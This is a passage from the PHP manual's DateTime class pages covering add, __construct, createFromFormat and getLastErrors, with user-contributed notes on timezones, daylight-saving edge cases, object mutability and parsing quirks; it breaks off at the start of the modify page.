Both of these strings are valid ISO8601 datetime strings, but the latter is not accepted by the constructor of JavaScript's date object on iPhone. (Possibly other browsers as well)
*/

?>

Our solution was to create the following constant on our DateHelper object.

<?php
class DateHelper
{
    /**
     * An ISO8601 format string for PHP's date functions that's compatible with JavaScript's Date's constructor method
     * Example: 2013-04-12T16:40:00-04:00
     *
     * PHP's ISO8601 constant doesn't add the colon to the timezone offset which is required for iPhone
    **/
    const ISO8601 = 'Y-m-d\TH:i:sP';
}
?>
php at keith tyler dot com 09-Jun-2012 02:03
DateTime does not support split seconds (microseconds or milliseconds etc.)
I don't know why this isn't documented.
The class constructor will accept them without complaint, but they are discarded.
There does not appear to be a way to take a string like "2012-07-08 11:14:15.638276" and store it in an objective form in a complete way.

So you cannot do date math on two strings such as:

<?php
$d1=new DateTime("2012-07-08 11:14:15.638276");
$d2=new DateTime("2012-07-08 11:14:15.889342");
$diff=$d2->diff($d1);
print_r( $diff ) ;

/* returns:

DateInterval Object
(
    [y] => 0
    [m] => 0
    [d] => 0
    [h] => 0
    [i] => 0
    [s] => 0
    [invert] => 0
    [days] => 0
)

*/
?>

You get back 0 when you actually want to get 0.251066 seconds.
marcio dot barbado at bdslabs dot com dot br 23-Mar-2012 03:22
DateTime class does not use locales so here I test and compare its formating with strftime() function's one:

    <?php
      // Under UNIX, command "$ locale -a" should provide you with your server's options.

      $data_do_mysql            = "2011-09-29 23:50:26";

      echo '<strong>' . "\$data_do_mysql" . '</strong>' . ":" . $data_do_mysql . "." . '<br />' .
           '<br />';

      $dataInicial            = new DateTime(trim($data_do_mysql));

      // setlocale() used with strftime().
      $meu_locale            = setlocale(LC_ALL, "pt_BR.utf8");
      $data_inicial            = strftime("%d de %b de %Y", strtotime(trim($data_do_mysql)));

      // Outputs:
      // $data_do_mysql formatada com a classe DateTime:29-Sep-2011.
      echo '<strong>' . "\$data_do_mysql" . '</strong>' . " formatada com a classe DateTime:" . $dataInicial->format('d-M-Y') . "." . '<br />' .
           '<br />';

      // Outputs:
      // $data_do_mysql formatada com a função strftime():29 de Set de 2011.
      echo '<strong>' . "\$data_do_mysql" . '</strong>' . " formatada com a fun&ccedil;&atilde;o strftime():" . $data_inicial . "." . '<br />' .
           '<br />';

      // setlocale() fails :-(
      if (!$meu_locale)
        {
            echo "Prefiro usar DateTime.";
        }

      // Yay setlocale() :-D
      else
        {
            echo "Prefiro usar strftime().";
        }

      exit();
    ?>
nodweber at gmail dot com 19-Jul-2011 11:22
IF You want to create clone of $time, use clone..

<?php
  $now   = new DateTime;
  $clone = $now;        //this doesnot clone so:
  $clone->modify( '-1 day' );

  echo $now->format( 'd-m-Y' ), "\n", $clone->format( 'd-m-Y' );
  echo '----', "\n";

  // will print same.. if you want to clone make like this:
  $now   = new DateTime;
  $clone = clone $now;
  $clone->modify( '-1 day' );

  echo $now->format( 'd-m-Y' ), "\n", $clone->format( 'd-m-Y' );
?>

Results:
18-07-2011
18-07-2011
----
19-07-2011
18-07-2011
giorgio dot liscio at email dot it 14-Aug-2010 07:24
please note that using

setTimezone
setTimestamp
setDate
setTime
etc..

will modify the original object, and the return value is $this

$original = new DateTime("now");

$modified = $original->setTimezone(new DateTimezone("europe/rome"));

echo $original === $modified ? "THE OBJECT IS THE SAME" : "OBJECTS ARE DIFFERENT";

so a datetime object is mutable

(Editors note: PHP 5.5 adds DateTimeImmutable which does not modify the original object, instead creating a new instance.)
bf at tbwb dot nl 10-Aug-2010 12:19
If you have timezone information in the time string you construct the DateTime object with, you cannot add an extra timezone in the constructor. It will ignore the timezone information in the time string:

$date = new DateTime("2010-07-05T06:00:00Z", new DateTimeZone("Europe/Amsterdam"));

will create a DateTime object set to "2010-07-05 06:00:00+0200" (+2 being the TZ offset for Europe/Amsterdam)

To get this done, you will need to set the timezone separately:

$date = new DateTime("2010-07-05T06:00:00Z");
$date->setTimeZone(new DateTimeZone("Europe/Amsterdam");

This will create a DateTime object set to "2010-07-05 08:00:00+0200"
ediathome 20-Mar-2010 10:21
If you need DateTime::createFromFormat functionality in versions <5.3.0 releases you might use the following basic class which can also be combined with Tom's class. It should work for most basic formats, however you should improve this function if you need more complex formats.

<?php
class DateClass extends DateTime{

public function getTimestamp(){
    return $this->format ("U");
}

/**
*    This function calculates the number of days between the first and the second date. Arguments must be subclasses of DateTime
**/
static function differenceInDays ($firstDate, $secondDate){
    $firstDateTimeStamp = $firstDate->format("U");
    $secondDateTimeStamp = $secondDate->format("U");
    $rv = round ((($firstDateTimeStamp - $secondDateTimeStamp))/86400);
    return $rv;
}

/**
* This function returns an object of DateClass from $time in format $format. See date() for possible values for $format
**/
static function createFromFormat ($format, $time){
    assert ($format!="");
    if($time==""){
        return new DateClass();
    }

    $regexpArray['Y'] = "(?P<Y>19|20\d\d)";
    $regexpArray['m'] = "(?P<m>0[1-9]|1[012])";
    $regexpArray['d'] = "(?P<d>0[1-9]|[12][0-9]|3[01])";
    $regexpArray['-'] = "[-]";
    $regexpArray['.'] = "[\. /.]";
    $regexpArray[':'] = "[:]";
    $regexpArray['space'] = "[\s]";
    $regexpArray['H'] = "(?P<H>0[0-9]|1[0-9]|2[0-3])";
    $regexpArray['i'] = "(?P<i>[0-5][0-9])";
    $regexpArray['s'] = "(?P<s>[0-5][0-9])";

    $formatArray = str_split ($format);
    $regex = "";

    // create the regular expression
    foreach($formatArray as $character){
        if ($character==" ") $regex = $regex.$regexpArray['space'];
        elseif (array_key_exists($character, $regexpArray)) $regex = $regex.$regexpArray[$character];
    }
    $regex = "/".$regex."/";

    // get results for regualar expression
    preg_match ($regex, $time, $result);

    // create the init string for the new DateTime
    $initString = $result['Y']."-".$result['m']."-".$result['d'];

// if no value for hours, minutes and seconds was found add 00:00:00
    if (isset($result['H'])) $initString = $initString." ".$result['H'].":".$result['i'].":".$result['s'];
    else {$initString = $initString." 00:00:00";}

    $newDate = new DateClass ($initString);
    return $newDate;
    }
}

?>
gmblar+php at gmail dot com 24-Jan-2010 05:53
Small but powerful extension to DateTime

<?php

class Blar_DateTime extends DateTime {

    /**
     * Return Date in ISO8601 format
     *
     * @return String
     */
    public function __toString() {
        return $this->format('Y-m-d H:i');
    }

    /**
     * Return difference between $this and $now
     *
     * @param Datetime|String $now
     * @return DateInterval
     */
    public function diff($now = 'NOW') {
        if(!($now instanceOf DateTime)) {
            $now = new DateTime($now);
        }
        return parent::diff($now);
    }

    /**
     * Return Age in Years
     *
     * @param Datetime|String $now
     * @return Integer
     */
    public function getAge($now = 'NOW') {
        return $this->diff($now)->format('%y');
    }

}

?>

Usage:

<?php

$birthday = new Blar_DateTime('1879-03-14');

// Example 1
echo $birthday;
// Result: 1879-03-14 00:00

// Example 2
echo '<p>Albert Einstein would now be ', $birthday->getAge(), ' years old.</p>';
// Result: <p>Albert Einstein would now be 130 years old.</p>

// Example 3
echo '<p>Albert Einstein would now be ', $birthday->diff()->format('%y Years, %m Months, %d Days'), ' old.</p>';
// Result: <p>Albert Einstein would now be 130 Years, 10 Months, 10 Days old.</p>

// Example 4
echo '<p>Albert Einstein was on 2010-10-10 ', $birthday->getAge('2010-10-10'), ' years old.</p>';
// Result: <p>Albert Einstein was on 2010-10-10 131 years old.</p>

?>
tom at r dot je 10-Jun-2009 05:00
If you're stuck on a PHP 5.1 system (unfortunately one of my clients is on a rather horrible webhost who claims they cannot upgrade php) you can use this as a quick workaround:

<?php
if (!class_exists('DateTime')) {
class DateTime {
    public $date;

    public function __construct($date) {
        $this->date = strtotime($date);
    }

    public function setTimeZone($timezone) {
        return;
    }

    private function __getDate() {
        return date(DATE_ATOM, $this->date);
    }

    public function modify($multiplier) {
        $this->date = strtotime($this->__getDate() . ' ' . $multiplier);
    }

    public function format($format) {
        return date($format, $this->date);
    }
}
}
?>

it is NOT perfect. Timezones and DST are not supported, but if you just need compatible basic functions this works. Feel free to complete this so it's compatible with the 5.2 datetime object.


Adds an amount of days, months, years, hours, minutes and seconds to a DateTime object

  • « DateTime
  • DateTime::__construct »
  • PHP Manual
  • DateTime
  • Adds an amount of days, months, years, hours, minutes and seconds to a DateTime object

DateTime::add

date_add

(PHP 5 >= 5.3.0)

DateTime::add -- date_add — Adds an amount of days, months, years, hours, minutes and seconds to a DateTime object

Description

Object oriented style

public DateTime DateTime::add ( DateInterval $interval )

Procedural style

DateTime date_add ( DateTime $object , DateInterval $interval )

Adds the specified DateInterval object to the specified DateTime object.

Parameters

object

Procedural style only: A DateTime object returned by date_create(). The function modifies this object.

interval

A DateInterval object

Return Values

Returns the DateTime object for method chaining or FALSE on failure.

Examples

Example #1 DateTime::add() example

Object oriented style

<?php
$date = new DateTime('2000-01-01');
$date->add(new DateInterval('P10D'));
echo $date->format('Y-m-d') . "\n";
?>

Procedural style

<?php
$date = date_create('2000-01-01');
date_add($date, date_interval_create_from_date_string('10 days'));
echo date_format($date, 'Y-m-d');
?>

The above examples will output:

2000-01-11

Example #2 Further DateTime::add() examples

<?php
$date = new DateTime('2000-01-01');
$date->add(new DateInterval('PT10H30S'));
echo $date->format('Y-m-d H:i:s') . "\n";

$date = new DateTime('2000-01-01');
$date->add(new DateInterval('P7Y5M4DT4H3M2S'));
echo $date->format('Y-m-d H:i:s') . "\n";
?>

The above example will output:

2000-01-01 10:00:30
2007-06-05 04:03:02

Example #3 Beware when adding months

<?php
$date = new DateTime('2000-12-31');
$interval = new DateInterval('P1M');

$date->add($interval);
echo $date->format('Y-m-d') . "\n";

$date->add($interval);
echo $date->format('Y-m-d') . "\n";
?>

The above example will output:

2001-01-31
2001-03-03

Notes

DateTime::modify() is an alternative when using PHP 5.2.

See Also

  • DateTime::sub() - Subtracts an amount of days, months, years, hours, minutes and seconds from a DateTime object
  • DateTime::diff() - Returns the difference between two DateTime objects
  • DateTime::modify() - Alters the timestamp

User Contributed Notes

artaxerxes2 at iname dot com 19-Sep-2013 04:28
Be careful that the internal timer to your DateTime object can be changed drastically when adding even 1 second, during the switch from DST to normal.
Consider the following:
<?php

$ts = 1383458399; /* 2013-11-03 01:59:59 in Eastern Saving Time */
$dst = DateTime::createFromFormat('U',$ts, new DateTimeZone('GMT')); /* timezone is ignored for a unix timestamp, but if we don't put it, php throws warnings */
$dst->setTimeZone(new DateTimeZone('EST5EDT')); /* a timezone effectuating the change */
$second = new DateInterval('PT1S'); /* one second */

echo $ts . "\t" . $dst->format("U\tY-m-d H:i:s T") . "\n";

$dst->add($second);
$ts++;

echo $ts . "\t" . $dst->format("U\tY-m-d H:i:s T") . "\n";

/* results:
1383458399    1383458399    2013-11-03 01:59:59 EDT
1383458400    1383462000    2013-11-03 02:00:00 EST

noticed how the second column went from 1383458399 to 1383462000 even though only 1 second was added?
*/

?>
glavic at gmail dot com 12-Sep-2013 10:06
If you need add() and sub() that don't modify object values, you can create new methods like this:

<?php

class DateTimeEnhanced extends DateTime {

    public function returnAdd(DateInterval $interval)
    {
        $dt = clone $this;
        $dt->add($interval);
        return $dt;
    }

    public function returnSub(DateInterval $interval)
    {
        $dt = clone $this;
        $dt->sub($interval);
        return $dt;
    }

}

$interval = DateInterval::createfromdatestring('+1 day');

$dt = new DateTimeEnhanced; # initialize new object
echo $dt->format(DateTime::W3C) . "\n"; # 2013-09-12T15:01:44+02:00

$dt->add($interval); # this modifies the object values
echo $dt->format(DateTime::W3C) . "\n"; # 2013-09-13T15:01:44+02:00

$dtNew = $dt->returnAdd($interval); # this returns the new modified object and doesn't change original object
echo $dt->format(DateTime::W3C) . "\n"; # 2013-09-13T15:01:44+02:00
echo $dtNew->format(DateTime::W3C) . "\n"; # 2013-09-14T15:01:44+02:00
Anonymous 01-Feb-2011 11:16
Note that the add() and sub() methods will modify the value of the object you're calling the method on! This is very untypical for a method that returns a value of its own type. You could misunderstand it that the method would return a new instance with the modified value, but in fact it modifies itself! This is undocumented here. (Only a side note on procedural style mentions it, but it obviously does not apply to object oriented style.)
fortruth at mabang dot net 24-Aug-2010 08:00
adding 15 min to a datetime

<?php
$initDate = new DateTime("2010/08/24");

$initDate->add(new DateInterval("PT15M"));
echo $initDate->format("Y/m/d m:i:s");//result: 2010/08/24 08:15:00
?>

period:
P1Y2M3DT1H2M3S

period time:
PT1H2M3S


Returns new DateTime object

  • « DateTime::add
  • DateTime::createFromFormat »
  • PHP Manual
  • DateTime
  • Returns new DateTime object

DateTime::__construct

date_create

(PHP 5 >= 5.2.0)

DateTime::__construct -- date_create — Returns new DateTime object

Description

Object oriented style

public DateTime::__construct ([ string $time = "now" [, DateTimeZone $timezone = NULL ]] )

Procedural style

DateTime date_create ([ string $time = "now" [, DateTimeZone $timezone = NULL ]] )

Returns new DateTime object.

Parameters

time

A date/time string. Valid formats are explained in Date and Time Formats.

Enter NULL here to obtain the current time when using the $timezone parameter.

timezone

A DateTimeZone object representing the timezone of $time.

If $timezone is omitted, the current timezone will be used.

Note:

The $timezone parameter and the current timezone are ignored when the $time parameter either is a UNIX timestamp (e.g. @946684800) or specifies a timezone (e.g. 2010-01-28T15:00:00+02:00).

Return Values

Returns a new DateTime instance. Procedural style returns FALSE on failure.

Errors/Exceptions

Emits Exception in case of an error.

Changelog

Version | Description
5.3.0 | If time contains an invalid date/time format, then an exception is now thrown. Previously an error was emitted.

Examples

Example #1 DateTime::__construct() example

Object oriented style

<?php
try {
    $date = new DateTime('2000-01-01');
} catch (Exception $e) {
    echo $e->getMessage();
    exit(1);
}

echo $date->format('Y-m-d');
?>

Procedural style

<?php
$date = date_create('2000-01-01');
if (!$date) {
    $e = date_get_last_errors();
    foreach ($e['errors'] as $error) {
        echo "$error\n";
    }
    exit(1);
}

echo date_format($date, 'Y-m-d');
?>

The above examples will output:

2000-01-01

Example #2 Intricacies of DateTime::__construct()

<?php
// Specified date/time in your computer's time zone.
$date = new DateTime('2000-01-01');
echo $date->format('Y-m-d H:i:sP') . "\n";

// Specified date/time in the specified time zone.
$date = new DateTime('2000-01-01', new DateTimeZone('Pacific/Nauru'));
echo $date->format('Y-m-d H:i:sP') . "\n";

// Current date/time in your computer's time zone.
$date = new DateTime();
echo $date->format('Y-m-d H:i:sP') . "\n";

// Current date/time in the specified time zone.
$date = new DateTime(null, new DateTimeZone('Pacific/Nauru'));
echo $date->format('Y-m-d H:i:sP') . "\n";

// Using a UNIX timestamp.  Notice the result is in the UTC time zone.
$date = new DateTime('@946684800');
echo $date->format('Y-m-d H:i:sP') . "\n";

// Non-existent values roll over.
$date = new DateTime('2000-02-30');
echo $date->format('Y-m-d H:i:sP') . "\n";
?>

The above example will output something similar to:

2000-01-01 00:00:00-05:00
2000-01-01 00:00:00+12:00
2010-04-24 10:24:16-04:00
2010-04-25 02:24:16+12:00
2000-01-01 00:00:00+00:00
2000-03-01 00:00:00-05:00

See Also

  • DateTime::createFromFormat() - Returns new DateTime object formatted according to the specified format
  • DateTimeZone::__construct() - Creates new DateTimeZone object
  • Date and Time Formats
  • date.timezone ini setting
  • date_default_timezone_set() - Sets the default timezone used by all date/time functions in a script
  • DateTime::getLastErrors() - Returns the warnings and errors
  • checkdate() - Validate a Gregorian date

User Contributed Notes

Dimitar Stoichev 23-Apr-2014 06:25
Be careful working with MySQL dates representing point of transition to Daylight Saving Time.
The constructor of DateTime will convert timezone abbreviation to DST but not the time.

<?php

$timeZone = new DateTimeZone('Europe/Sofia');

$transitionToDst = '2014-03-30 03:00:00';

$date = new DateTime($transitionToDst, $timeZone);

// Outputs: Sun Mar 30, 2014 3:00:00 EEST
// Correct: Sun Mar 30, 2014 4:00:00 EEST
echo $date->format('D M j, Y G:i:s T') . '<br>';

// Explicitly setting timezone or adding one second fixes this
$cloneForAdding = clone $date;

$date->setTimezone($timeZone);

// Outputs: Sun Mar 30, 2014 4:00:00 EEST
echo $date->format('D M j, Y G:i:s T') . '<br>';

$cloneForAdding->add(new DateInterval('PT1S'));

// Outputs: Sun Mar 30, 2014 4:00:01 EEST
echo $cloneForAdding->format('D M j, Y G:i:s T');

?>
RussellG 30-Sep-2013 01:08
Although this function throws an exception on invalid $time values (empty strings, for example), the exception can't be caught because it's a fatal exception. Use functions such as checkdate() and strtotime() to validate the string first. Example #1 should be changed to remove the try/catch block, since it's misleading.
cHao 22-Dec-2011 04:17
There's a reason for ignoring the time zone when you pass a timestamp to __construct.  That is, UNIX timestamps are by definition based on UTC.  @1234567890 represents the same date/time regardless of time zone.  So there's no need for a time zone at all.
joel dot kallman at gmail dot com 24-May-2011 03:14
A definite "gotcha" (while documented) that exists in the __construct is that it ignores your timezone if the $time is a timestamp.  While this may not make sense, the object does provide you with methods to work around it.

<?php
// New Timezone Object
$timezone = new DateTimeZone('America/New_York');

// New DateTime Object
$date =  new DateTime('@1306123200', $timezone);

// You would expect the date to be 2011-05-23 00:00:00
// But it actually outputs 2011-05-23 04:00:00
echo $date->format('Y-m-d H:i:s');

// You can still set the timezone though like so...
$date->setTimezone($timezone);

// This will now output 2011-05-23 00:00:00
echo $date->format('Y-m-d H:i:s');
?>
Tim Strehle 05-May-2010 12:50
"The $timezone parameter and the current timezone are ignored when the $time parameter […] is a UNIX timestamp."

Watch out – this means that these two are NOT equivalent, they result in different timezones (unless your current timezone is GMT):

<?php
$d = new DateTime(); $d->setTimestamp($t);
echo $o->format('O');
// +0200

$d = new DateTime('@' . $t);
echo $o->format('O');
// +0000
?>
kendsnyder at gmail dot com 12-Jan-2010 05:37
Also forgot to mention, that MySQL "zeroed" dates do not throw an error but produce a non-sensical date:

<?php

$d = new DateTime("0000-00-00");
$d->format("Y-m-d"); // "-0001-11-30"

?>

Another good reason to write your own class that extends from DateTime.
kendsnyder at gmail dot com 12-Jan-2010 05:24
The theoretical limits of the date range seem to be "-9999-01-01" through "9999-12-31" (PHP 5.2.9 on Windows Vista 64):

<?php

$d = new DateTime("9999-12-31");
$d->format("Y-m-d"); // "9999-12-31"

$d = new DateTime("0000-12-31");
$d->format("Y-m-d"); // "0000-12-31"

$d = new DateTime("-9999-12-31");
$d->format("Y-m-d"); // "-9999-12-31"

?>

Dates above 10000 and below -10000 do not throw errors but produce weird results:

<?php

$d = new DateTime("10019-01-01");
$d->format("Y-m-d"); // "2009-01-01"

$d = new DateTime("10009-01-01");
$d->format("Y-m-d"); // "2009-01-01"

$d = new DateTime("-10019-01-01");
$d->format("Y-m-d"); // "2009-01-01"

?>


Returns new DateTime object formatted according to the specified format

  • « DateTime::__construct
  • DateTime::getLastErrors »
  • PHP Manual
  • DateTime
  • Returns new DateTime object formatted according to the specified format

DateTime::createFromFormat

date_create_from_format

(PHP 5 >= 5.3.0)

DateTime::createFromFormat -- date_create_from_format — Returns new DateTime object formatted according to the specified format

Description

Object oriented style

public static DateTime DateTime::createFromFormat ( string $format , string $time [, DateTimeZone $timezone ] )

Procedural style

DateTime date_create_from_format ( string $format , string $time [, DateTimeZone $timezone ] )

Returns new DateTime object formatted according to the specified format.

Parameters

format

The format that the passed in string should be in. See the formatting options below. In most cases, the same letters as for the date() can be used.

The following characters are recognized in the format parameter string
format character | Description | Example parsable values
Day --- ---
d and j | Day of the month, 2 digits with or without leading zeros | 01 to 31 or 1 to 31
D and l | A textual representation of a day | Mon through Sun or Sunday through Saturday
S | English ordinal suffix for the day of the month, 2 characters. It's ignored while processing. | st, nd, rd or th.
z | The day of the year (starting from 0) | 0 through 365
Month --- ---
F and M | A textual representation of a month, such as January or Sept | January through December or Jan through Dec
m and n | Numeric representation of a month, with or without leading zeros | 01 through 12 or 1 through 12
Year --- ---
Y | A full numeric representation of a year, 4 digits | Examples: 1999 or 2003
y | A two digit representation of a year (which is assumed to be in the range 1970-2069, inclusive) | Examples: 99 or 03 (which will be interpreted as 1999 and 2003, respectively)
Time --- ---
a and A | Ante meridiem and Post meridiem | am or pm
g and h | 12-hour format of an hour with or without leading zero | 1 through 12 or 01 through 12
G and H | 24-hour format of an hour with or without leading zeros | 0 through 23 or 00 through 23
i | Minutes with leading zeros | 00 to 59
s | Seconds, with leading zeros | 00 through 59
u | Microseconds (up to six digits) | Example: 45, 654321
Timezone --- ---
e, O, P and T | Timezone identifier, or difference to UTC in hours, or difference to UTC with colon between hours and minutes, or timezone abbreviation | Examples: UTC, GMT, Atlantic/Azores or +0200 or +02:00 or EST, MDT
Full Date/Time --- ---
U | Seconds since the Unix Epoch (January 1 1970 00:00:00 GMT) | Example: 1292177455
Whitespace and Separators --- ---
(space) | One space or one tab | Example:
# One of the following separation symbol: ;, :, /, ., ,, -, ( or ) Example: /
;, :, /, ., ,, -, ( or ) | The specified character. | Example: -
? A random byte Example: ^ (Be aware that for UTF-8 characracters you might need more than one ?. In this case, using * is probably what you want instead)
* Random bytes until the next separator or digit Example: * in Y-*-d with the string 2009-aWord-08 will match aWord
! Resets all fields (year, month, day, hour, minute, second, fraction and timzone information) to the Unix Epoch Without !, all fields will be set to the current date and time.
| Resets all fields (year, month, day, hour, minute, second, fraction and timzone information) to the Unix Epoch if they have not been parsed yet Y-m-d| will set the year, month and day to the information found in the string to parse, and sets the hour, minute and second to 0.
+ If this format specifier is present, trailing data in the string will not cause an error, but a warning instead Use DateTime::getLastErrors() to find out whether trailing data was present.

Unrecognized characters in the format string will cause the parsing to fail and an error message is appended to the returned structure. You can query error messages with DateTime::getLastErrors().

If format does not contain the character ! then portions of the generated time which are not specified in format will be set to the current system time.

If format contains the character !, then portions of the generated time not provided in format, as well as values to the left-hand side of the !, will be set to corresponding values from the Unix epoch.

The Unix epoch is 1970-01-01 00:00:00 UTC.

time

String representing the time.

timezone

A DateTimeZone object representing the desired time zone.

If timezone is omitted and time contains no timezone, the current timezone will be used.

Note:

The timezone parameter and the current timezone are ignored when the time parameter either contains a UNIX timestamp (e.g. 946684800) or specifies a timezone (e.g. 2010-01-28T15:00:00+02:00).

Return Values

Returns a new DateTime instance or FALSE on failure.

Examples

Example #1 DateTime::createFromFormat() example

Object oriented style

<?php
$date = DateTime::createFromFormat('j-M-Y', '15-Feb-2009');
echo $date->format('Y-m-d');
?>

Procedural style

<?php
$date = date_create_from_format('j-M-Y', '15-Feb-2009');
echo date_format($date, 'Y-m-d');
?>

The above examples will output:

2009-02-15

Example #2 Intricacies of DateTime::createFromFormat()

<?php
echo 'Current time: ' . date('Y-m-d H:i:s') . "\n";

$format = 'Y-m-d';
$date = DateTime::createFromFormat($format, '2009-02-15');
echo "Format: $format; " . $date->format('Y-m-d H:i:s') . "\n";

$format = 'Y-m-d H:i:s';
$date = DateTime::createFromFormat($format, '2009-02-15 15:16:17');
echo "Format: $format; " . $date->format('Y-m-d H:i:s') . "\n";

$format = 'Y-m-!d H:i:s';
$date = DateTime::createFromFormat($format, '2009-02-15 15:16:17');
echo "Format: $format; " . $date->format('Y-m-d H:i:s') . "\n";

$format = '!d';
$date = DateTime::createFromFormat($format, '15');
echo "Format: $format; " . $date->format('Y-m-d H:i:s') . "\n";
?>

The above example will output something similar to:

Current time: 2010-04-23 10:29:35
Format: Y-m-d; 2009-02-15 10:29:35
Format: Y-m-d H:i:s; 2009-02-15 15:16:17
Format: Y-m-!d H:i:s; 1970-01-15 15:16:17
Format: !d; 1970-01-15 00:00:00

See Also

  • DateTime::__construct() - Returns new DateTime object
  • DateTime::getLastErrors() - Returns the warnings and errors
  • checkdate() - Validate a Gregorian date
  • strptime() - Parse a time/date generated with strftime

User Contributed Notes

nicodoggie at gmail dot com 25-Jun-2014 10:20
I've found that on PHP 5.5.13 (not sure if it happens on other versions) if you enter a month larger than 12 on a format that takes numeric months, the result will be a DateTime object with its month equal to the number modulo 12 instead of returning false.

<?php
var_dump(DateTime::createFromFormat('Y-m-d', '2013-22-01'));
?>

results in:
class DateTime#4 (3) {
  public $date =>
  string(19) "2014-10-01 13:05:05"
  public $timezone_type =>
  int(3)
  public $timezone =>
  string(3) "UTC"
}
d dot shankarnarayana at gmail dot com 25-Mar-2014 03:46
Say if there is a string with  $date = "today is 2014 January 1";   and you need to extract "2014 January" using DateTime::createFromFormat().  As you can see in the string there is something odd like "today is" .Since that string (today is) does not correspond to a date format, we need to escape that.

In this case, each and every character on that string has to be escaped as shown below.

The code.

<?php
$paragraph = "today is 2014 January 1";
$date = DateTime::createFromFormat('\t\o\d\a\y \i\s Y F j', $paragraph);
echo $date->format('Y F'); //"prints" 2014 January

- Shankar Damodaran
mail at marcel-juenemann dot de 18-Jan-2013 02:24
Note that the U option does not support negative timestamps (before 1970). You have to use date for that.
falundir at gmail dot com 17-Oct-2012 09:03
Be warned that DateTime object created without explicitely providing the time portion will have the current time set instead of 00:00:00.

<?php
$date = DateTime::createFromFormat('Y-m-d', '2012-10-17');
var_dump($date->format('Y-m-d H:i:s')); //will print 2012-10-17 13:57:34 (the current time)
?>

That's also why you can't safely compare equality of such DateTime objects:

<?php
$date1 = DateTime::createFromFormat('Y-m-d', '2012-10-17');
sleep(2);
$date2 = DateTime::createFromFormat('Y-m-d', '2012-10-17');
var_dump($date1 == $date2); //will be false
var_dump($date1 >= $date2); //will be false
var_dump($date1 < $date2); //will be true
?>
thomas dot ribiere at allgoob dot com 31-Aug-2012 12:46
Not a bug, but a strange issue today 2012-08-30 :

<?php
$date = "2011-02";
echo $date."\n";
$d = DateTime::createFromFormat("Y-m",$date);
echo $d->format("Y-m");
?>
will display :
2011-02
2011-03

It's because there is no 2011-02-30, so datetime will take march insteed of february ...

To fix it :
<?php
$date = "2011-02";
echo $date."\n";
$d = DateTime::createFromFormat("Y-m-d",$date."-01");
echo $d->format("Y-m");
?>
kamil dot wegrzynowicz at baobaz dot com 10-Feb-2012 05:05
It seems that a pipe ('|') option in formating string works only with PHP version 5.3.7 and newer. We had an issue with it on versions 5.3.2, 5.3.3, 5.3.6. Yet it was fine with 5.3.8 and 5.3.10.

By short example:
<?php
$timezone = new DateTimeZone('UTC');
$dateTime = DateTime::createFromFormat('dmY|', '01011972', $timezone);
//$dateTime is FALSE in PHP v <5.3.8
?>

Instead we used a workaround:
<?php
$dateTime = DateTime::createFromFormat('dmY', '01011972', $timezone);
$dateTime->format('Y-m-d 00:00:00');
?>
which works fine.

====

Modified by admin to correct for version (5.3.7 not 5.3.8)
Aurelien Marchand 29-Mar-2011 04:13
Beware specifying a timezone in the format as it will take precedence over the DateTimeZone object.

<?php
$timezone = "UTC"; // or any other valid name for a timezone
$d= DateTime::createFromFormat("Y-m-d H:i:s T","2011-11-06 00:00:00 EDT",new DateTimeZone($timezone));
echo $d->format("Y-m-d H:i:s T - U");
// returns "2011-11-06 00:00:00 EDT - 1320552000"
// specifying $timezone = "Pacific/Honolulu"; would return the same string
?>

This gets hairy when you are playing with transition from summer time to winter time! For instance, in Toronto, the time change happens on 2011-11-06. One second after 01:59:59 (EDT), the time becomes 01:00:00 (EST), or 1320559200 in Unix timestamp.

However, notice the following:
<?php
$d = DateTime::createFromFormat("Y-m-d H:i:s","2011-11-06 01:00:00",new DateTimeZone("EST"));
echo $d->format("Y-m-d H:i:s T U");
// returns "2011-11-06 01:00:00 EDT 1320555600" instead of "2011-11-06 01:00:00 EST 1320559200"

// so the correct way is to do:
$d = DateTime::createFromFormat("Y-m-d H:i:s T","2011-11-06 01:00:00 EST",new DateTimeZone($timezone)); // set $timezone to any valid string for DateTimeZone, it doesn't matter
echo $d->format("Y-m-d H:i:s T U");
// returns "2011-11-06 01:00:00 EST - 1320559200" as wanted

?>
klugg at tlen dot pl 14-Mar-2011 06:52
In order to use a DateTimeZone, don't enter one of the DateTimeZone::Europe, DateTimeZone::Asia etc. constants, but create a DateTimeZone object with verbal timezone name passed as a string:
<?php
$eventDate = DateTime::createFromFormat('m/d/y h:i', '02/26/11 08:00', new DateTimeZone('Europe/Warsaw'));
echo date_format($eventDate, 'Y-m-d'); //prints "2011-02-26"

?>


Returns the warnings and errors

  • « DateTime::createFromFormat
  • DateTime::modify »
  • PHP Manual
  • DateTime
  • Returns the warnings and errors

DateTime::getLastErrors

date_get_last_errors

(PHP 5 >= 5.3.0)

DateTime::getLastErrors -- date_get_last_errors — Returns the warnings and errors

Description

Object oriented style

public static array DateTime::getLastErrors ( void )

Procedural style

array date_get_last_errors ( void )

Returns an array of warnings and errors found while parsing a date/time string.

Parameters

This function has no parameters.

Return Values

Returns array containing info about warnings and errors.

Examples

Example #1 DateTime::getLastErrors() example

Object oriented style

<?php
try {
    $date = new DateTime('asdfasdf');
} catch (Exception $e) {
    // For demonstration purposes only...
    print_r(DateTime::getLastErrors());

    // The real object oriented way to do this is
    // echo $e->getMessage();
}
?>

Procedural style

<?php
$date = date_create('asdfasdf');
print_r(date_get_last_errors());
?>

The above examples will output:

Array
(
   [warning_count] => 1
   [warnings] => Array
       (
           [6] => Double timezone specification
       )

   [error_count] => 1
   [errors] => Array
       (
           [0] => The timezone could not be found in the database
       )

)

The indexes 6, and 0 in the example output refer to the character index in the string where the error occurred.

User Contributed Notes

framework at photon-project dot com 28-Feb-2011 09:08
DateTime::createFromFormat is smart to handle the cases where you input an invalid date, like April 31st, and convert it to May 1st. In some cases, you do not want this automatic smart handling of the dates for example in a user input form where you want to be sure that your user did input the date he wanted. To do that, you need to get access to the warnings, this method is the only way to do it:

<?php
$date = DateTime::createFromFormat('Y-m-d', '1999-04-31');
print $date->format('Y-m-d') . PHP_EOL;
print_r(DateTime::getLastErrors());
?>

The output is:

1999-05-01
Array
(
    [warning_count] => 1
    [warnings] => Array
        (
            [10] => The parsed date was invalid
        )

    [error_count] => 0
    [errors] => Array
        (
        )

)

So, here you can see, you have a warning because the date was invalid, but not an error because PHP was smart enough to convert it into a valid date. It is then up to you to do something with this information.


Alters the timestamp

  • « DateTime::getLastErrors
  • DateTime::__set_state »
  • PHP Manual
  • DateTime
  • Alters the timestamp

DateTime::modify

date_modify

(PHP 5 >= 5.2.0)

DateTime::modify -- date_modify — Alters the timestamp

Description

Object oriented style

public DateTime DateTime::modify ( string $modify )

Procedural style

